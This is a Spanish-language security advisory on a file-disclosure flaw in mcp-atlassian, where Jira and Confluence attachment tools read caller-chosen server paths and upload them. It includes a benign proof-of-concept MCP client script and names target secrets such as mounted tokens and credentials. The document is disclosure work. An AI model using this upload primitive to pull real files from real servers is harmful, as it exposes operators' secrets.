Resumen

Las herramientas de carga de adjuntos de Jira y Confluence en el paquete mcp-atlassian aceptan parámetros de ruta de archivo controlados por el invocador y leen dichas rutas desde el sistema de archivos local del servidor MCP antes de subir el archivo como adjunto a Atlassian.

En despliegues locales con stdio, esto puede exponer archivos legibles por el proceso MCP del usuario. En despliegues documentados con HTTP/SSE o streamable-http, el impacto es mayor: cualquier cliente MCP con permiso para invocar herramientas de escritura o carga puede hacer que el proceso servidor lea un archivo local del servidor y lo suba a Jira o Confluence.

Esta vulnerabilidad no depende de inyección de prompt de IA ni del comportamiento de ningún modelo. Puede activarse de forma determinista mediante una llamada normal a una herramienta MCP.

Detalles técnicos

El comportamiento vulnerable existe porque los argumentos de las herramientas de carga son tratados como rutas del sistema de archivos local del servidor.

Puntos de implementación relevantes:

  • mcp_atlassian.confluence.attachments.AttachmentsMixin.upload_attachment: acepta file_path, convierte el valor suministrado a ruta absoluta cuando es necesario, verifica existencia con os.path.exists y pasa la ruta al flujo de carga de adjuntos.

  • mcp_atlassian.confluence.attachments.AttachmentsMixin._upload_attachment_direct: abre el file_path suministrado con open(file_path, "rb") y envía el objeto de archivo resultante como datos de formulario multipart a Confluence.

  • mcp_atlassian.confluence.attachments.AttachmentsMixin.upload_attachments: itera sobre los file_paths suministrados por el invocador y llama a upload_attachment para cada ruta.

  • mcp_atlassian.jira.attachments.AttachmentsMixin.upload_attachment: acepta file_path, convierte el valor a ruta absoluta cuando es necesario, verifica existencia con os.path.exists, abre el archivo y lo sube como adjunto a Jira.

  • mcp_atlassian.jira.attachments.AttachmentsMixin.upload_attachments: itera sobre los file_paths suministrados por el invocador y llama a upload_attachment para cada ruta.

  • mcp_atlassian.servers.jira.update_issue: acepta un argumento attachments como cadena JSON o cadena separada por comas, lo convierte en rutas de adjuntos y las pasa al flujo de actualización de Jira.

El proyecto también documenta modos de despliegue distintos de stdio:

  • sse
  • streamable-http
  • autenticación multi-usuario
  • despliegue en Docker y Kubernetes

Por tanto, los argumentos de ruta de carga no deben tratarse como si siempre proviniesen de un único usuario de escritorio local completamente confiable. En un despliegue HTTP o multi-usuario, el invocador y el sistema de archivos local del servidor son fronteras de seguridad separadas.

El problema central es que el invocador MCP puede elegir una ruta, mientras que el servidor MCP lee esa ruta usando los privilegios del proceso servidor y envía los bytes al endpoint remoto de adjuntos de Jira o Confluence.

Comportamiento esperado

  • Las cargas de archivos locales del servidor deben denegarse por defecto en despliegues HTTP/SSE o multi-usuario.
  • Las cargas deben restringirse a un directorio de carga explícitamente permitido tras la resolución de realpath.
  • Formas de ruta peligrosas como rutas UNC remotas y URLs file:// deben rechazarse antes de cualquier comprobación en el sistema de archivos.

Prueba de concepto

La siguiente prueba de concepto utiliza un archivo temporal benigno generado en tiempo de ejecución. No depende de inyección de prompt ni de ningún comportamiento de IA o LLM. Utiliza una llamada normal a un cliente MCP contra una página de Confluence de prueba controlada por el evaluador.

Requisitos previos:

  • Un sitio de Confluence de prueba.
  • Un ID de contenido de página de prueba donde el evaluador tenga permiso para subir adjuntos.
  • Un token de API de Confluence de prueba u otro método de autenticación compatible.
  • Python 3.10 o superior.

Inicio de mcp-atlassian en modo HTTP:

bash
docker run --rm -p 9000:9000 \
  -e CONFLUENCE_URL="https://<your-test-site>.atlassian.net/wiki" \
  -e CONFLUENCE_USERNAME="<tester-email>" \
  -e CONFLUENCE_API_TOKEN="<tester-api-token>" \
  ghcr.io/sooperset/mcp-atlassian:latest \
  --transport streamable-http --host 0.0.0.0 --port 9000

Instalación del cliente MCP de Python:

bash
python -m pip install "mcp>=1.8.0"

Script cliente independiente:

python
import asyncio
import os
import tempfile
from pathlib import Path

from mcp import ClientSession
from mcp.client.streamable_http import streamablehttp_client


async def main() -> None:
    mcp_url = os.environ.get("MCP_URL", "http://127.0.0.1:9000/mcp")
    content_id = os.environ["CONFLUENCE_CONTENT_ID"]

    proof_dir = Path(tempfile.mkdtemp(prefix="mcp-atlassian-proof-"))
    proof_file = proof_dir / "server-local-proof.txt"
    proof_file.write_text(
        "This benign file was read from the MCP server filesystem and uploaded by an MCP tool call.\n",
        encoding="utf-8",
    )

    async with streamablehttp_client(mcp_url) as (read_stream, write_stream, _):
        async with ClientSession(read_stream, write_stream) as session:
            await session.initialize()
            result = await session.call_tool(
                "confluence_upload_attachments",
                {
                    "content_id": content_id,
                    "file_paths": str(proof_file),
                    "comment": "Security test: benign server-local upload proof",
                    "minor_edit": True,
                },
            )
            print(result)
            print(f"Uploaded test filename: {proof_file.name}")


if __name__ == "__main__":
    asyncio.run(main())

Ejecución con el ID de página de prueba:

bash
CONFLUENCE_CONTENT_ID="<test-page-content-id>" python poc.py

Resultado observado:

  1. El cliente MCP envía una llamada normal a la herramienta confluence_upload_attachments.
  2. El servidor MCP lee el archivo temporal desde su propio sistema de archivos.
  3. El servidor MCP sube ese archivo como adjunto a la página de Confluence configurada.
  4. El adjunto subido aparece en la página de prueba.

Significado de seguridad:

  • El invocador MCP no necesitó acceso de shell al servidor.
  • El invocador MCP no necesitó acceso directo al sistema de archivos del servidor.
  • El invocador MCP solo necesitó permiso para invocar la herramienta de carga.
  • La lectura del archivo ocurrió con los privilegios del proceso del servidor MCP.

La misma clase de problema aplica a los flujos de carga de adjuntos de Jira que aceptan parámetros de ruta de archivo controlados por el invocador.

Impacto

Esta vulnerabilidad constituye una primitiva de divulgación y exfiltración de archivos locales del servidor a través de las herramientas de carga de adjuntos.

Usuarios afectados:

  • Usuarios que ejecutan mcp-atlassian con herramientas de escritura y carga habilitadas.
  • Operadores que exponen mcp-atlassian a través de sse o streamable-http.
  • Despliegues multi-usuario donde los invocadores MCP no son completamente confiables con acceso de lectura arbitrario al sistema de archivos del servidor MCP.
  • Despliegues en Docker o Kubernetes donde el proceso MCP puede leer archivos de entorno, secretos montados, tokens de cuenta de servicio, configuración de aplicaciones o volúmenes compartidos.

Perfil del atacante potencial:

  • Un cliente MCP malicioso o comprometido con permiso para invocar herramientas de carga de adjuntos.
  • Un usuario malicioso en un despliegue MCP multi-usuario.
  • Un atacante que pueda suministrar o influir en los argumentos de herramientas MCP a través de un flujo de trabajo integrado.

Los datos potencialmente expuestos dependen del despliegue, pero pueden incluir archivos legibles por el proceso del servidor MCP, tales como:

  • configuración de aplicaciones
  • secretos de despliegue
  • credenciales de nube o de servicio montadas en el entorno de ejecución
  • tokens de CI/CD o de automatización
  • otros archivos disponibles para el usuario del servidor MCP

Este problema no requiere compromiso previo de la red interna en despliegues donde el servicio MCP está intencionalmente expuesto a través de HTTP/SSE a múltiples usuarios o clientes MCP externos. El atacante solo necesita la capacidad de invocar la herramienta de carga. El servidor entonces lee la ruta elegida con sus propios privilegios de proceso y la sube a Jira o Confluence.

Si el modelo de seguridad previsto es que cada invocador MCP es completamente confiable con acceso de lectura arbitrario al sistema de archivos del servidor, esto debe documentarse explícitamente. De lo contrario, las cargas de rutas de archivo locales del servidor deben ser opt-in y estar restringidas a un directorio raíz de carga configurado.

Correcciones sugeridas

  • Denegar por defecto las cargas de rutas locales del servidor en despliegues HTTP/SSE y multi-usuario.
  • Añadir un indicador explícito de opt-in para rutas de carga locales del servidor.
  • Requerir un directorio raíz de carga en lista de permitidos y aplicarlo tras la resolución de realpath.
  • Rechazar URLs file:// y formas de ruta UNC remotas antes de cualquier operación en el sistema de archivos.
  • Preferir blobs de archivo o recurso proporcionados por el cliente en lugar de cadenas de ruta locales del servidor para despliegues MCP remotos.